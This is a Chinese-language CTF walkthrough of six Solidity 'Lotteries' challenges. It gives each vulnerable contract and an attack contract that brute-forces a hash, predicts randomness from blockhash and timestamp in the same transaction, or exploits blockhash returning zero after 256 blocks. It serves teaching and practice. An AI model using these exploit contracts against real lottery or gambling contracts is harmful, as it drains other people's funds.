Lotteries

在以下每个挑战中,我们的目标是在guess时正确猜测答案

第一题:Guess the number

代码:

pragma solidity ^0.4.21;contract GuessTheNumberChallenge {    uint8 answer = 42;    function GuessTheNumberChallenge() public payable {        require(msg.value == 1 ether);    }    function isComplete() public view returns (bool) {        return address(this).balance == 0;    }    function guess(uint8 n) public payable {        require(msg.value == 1 ether);        if (n == answer) {            msg.sender.transfer(2 ether);        }    }}

很简单,题目中直接给出了要猜测的数字是 42 ,部署合约输入 42 即可。

第二题:Guess the secret number

代码:

pragma solidity ^0.4.21;contract GuessTheSecretNumberChallenge {    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;    function GuessTheSecretNumberChallenge() public payable {        require(msg.value == 1 ether);    }    function isComplete() public view returns (bool) {        return address(this).balance == 0;    }    function guess(uint8 n) public payable {        require(msg.value == 1 ether);        if (keccak256(n) == answerHash) {            msg.sender.transfer(2 ether);        }    }}

要求我们给出一个 uint8 类型的数字的 hash 值等于题目给的answerHash,因为uint8最大也不过 255 ,所以我们可以用枚举法写一个 for 循环一个一个来判断。

攻击代码:

pragma solidity ^0.4.21;contract GuessTheSecretNumberChallenge {    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;    uint8 public answer;    function guess() public payable {        for(uint8 i = 0; i < 255; i++) {            if (keccak256(i) == answerHash) {                answer = i;            }        }    }}

部署合约,调用攻击合约的guess方法得到答案,在目标合约输入 answer 即可:

第三题:Guess the Randomnumber

代码:

pragma solidity ^0.4.21;contract GuessTheRandomNumberChallenge {    uint8 answer;    function GuessTheRandomNumberChallenge() public payable {        require(msg.value == 0.001 ether);        answer = uint8(keccak256(block.blockhash(block.number - 1), now));    }    function isComplete() public view returns (bool) {        return address(this).balance == 0;    }    function guess(uint8 n) public payable {        require(msg.value == 0.001 ether);        if (n == answer) {            msg.sender.transfer(0.002 ether);        }    }}

这道题answer在我们部署合约时由block.number 以及 now 生成, block.number 是部署合约时的区块高度,很容易获得, now 是当前的时间戳,这是个比较麻烦的地方,我们可以使用 injected provider 在 remix 中使用的我们的 metamask 钱包部署合约。(题目的 1 ether 太高了,我们可以自行降低,这里我用的 0.001 ether 即 1 Finny)

部署了合约之后,我们可以去区块链浏览器上查看合约的情况,点击 view on etherscan:

可以看到当前交易的信息:

点击 State ,第二个 address 就是我们合约的地址,点击旁边的箭头就可以看见合约中有一个 storage 变量的变化,转换成number类型之后就可以知道answer 就是 99:

输入答案99即可:

第四题:Guess the Newnumber

代码:

pragma solidity ^0.4.21;contract GuessTheNewNumberChallenge {    function GuessTheNewNumberChallenge() public payable {        require(msg.value == 0.001 ether);    }    function isComplete() public view returns (bool) {        return address(this).balance == 0;    }    function guess(uint8 n) public payable {        require(msg.value == 0.001 ether);        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));        if (n == answer) {            msg.sender.transfer(0.002 ether);        }    }}

这道题answer变成了在我们运行guess函数时生成,上一题的方法就不行了,我们可以写一个攻击函数,构造一个answer,然后从攻击函数来调用guess函数。

攻击代码:

pragma solidity ^0.4.21;import "./GuessTheNewNumber.sol";contract Poc {    GuessTheNewNumberChallenge target;    function pwn() public payable {        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));        target.guess.value(0.001 ether)(answer);    }    function Poc(address _addr) public {        target = GuessTheNewNumberChallenge(_addr);    }    function () public payable {}}

通过pwn函数我们生成了一个answer(在同一个交易中now和blocknumber是相同的),然后调用目标合约的guess函数,传入答案answer。

部署合约,调用pwn函数即可:

攻击完成

第五题:Predict the future

代码:

pragma solidity ^0.4.21;contract PredictTheFutureChallenge {    address guesser;    uint8 guess;    uint256 settlementBlockNumber;    function PredictTheFutureChallenge() public payable {        require(msg.value == 0.001 ether);    }    function isComplete() public view returns (bool) {        return address(this).balance == 0;    }    function lockInGuess(uint8 n) public payable {        require(guesser == 0);        require(msg.value == 0.001 ether);        guesser = msg.sender;        guess = n;        settlementBlockNumber = block.number + 1;    }    function settle() public {        require(msg.sender == guesser);        require(block.number > settlementBlockNumber);        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;        guesser = 0;        if (guess == answer) {            msg.sender.transfer(0.002 ether);        }    }}

这道题answer的生成方式和上一题一样,依然是利用block.number和now来生产,但是猜测的范围变成了0 – 10,不同于上题的是它需要我们先通过lockInGuess函数设置一个我们猜测的数字guess,也就是我们猜测的数字是确定的,但是answer变化的,所以我们可以构造一个合约,当我们设置的guess和当前的answer相同的时候再执行settle函数。

攻击代码:

pragma solidity ^0.4.21;import "./PredictTheFuture.sol";contract attack {    PredictTheFutureChallenge challenge;    constructor(address _addr) public {        challenge = PredictTheFutureChallenge(_addr);    }    function gue() public payable {        challenge.lockInGuess.value(msg.value)(5);    }    function set() public payable {        uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;        if (result == 5) {            challenge.settle();        }    }    function() public payable{}}

部署合约,先调用gue函数设置一个猜测的guess(我选择的5),再调用set函数直到成功为止即可(挺看运气的)

第六题:Guess the Hash Number

代码:

pragma solidity ^0.4.21;contract PredictTheBlockHashChallenge {    address guesser;    bytes32 guess;    uint256 settlementBlockNumber;    function PredictTheBlockHashChallenge() public payable {        require(msg.value == 0.001 ether);    }    function isComplete() public view returns (bool) {        return address(this).balance == 0;    }    function lockInGuess(bytes32 hash) public payable {        require(guesser == 0);        require(msg.value == 0.001 ether);        guesser = msg.sender;        guess = hash;        settlementBlockNumber = block.number + 1;    }    function settle() public {        require(msg.sender == guesser);        require(block.number > settlementBlockNumber);        bytes32 answer = block.blockhash(settlementBlockNumber);        guesser = 0;        if (guess == answer) {            msg.sender.transfer(0.002 ether);        }    }}

题目要求我们猜测下一个区块的256位的Hash值。

出于可扩展性的原因,区块哈希并非对所有区块都可用。您只能访问最近 256 个区块的哈希值,所有其他值将为零。

所以我们只需要等待256个区块就可以解决这个问题。

攻击代码:

pragma solidity ^0.4.21;import "./PredictBlockHash.sol";contract attack {    PredictTheBlockHashChallenge challenge;    uint256 blockNumber;    bytes32 answer;    function attack(address _addr) public {        challenge = PredictTheBlockHashChallenge(_addr);    }    function guess() public payable {        blockNumber = block.number + 1;        challenge.lockInGuess.value(0.001 ether)(answer);    }    function pwn() public {        require(block.number-256 > blockNumber,"Didn't generate 256 blocks");        challenge.settle();    }    function ()external payable{}}

先调用攻击合约的guess函数,存入0,等到生成了256个区块之后再来调用pwn函数即可(等的时间挺久的)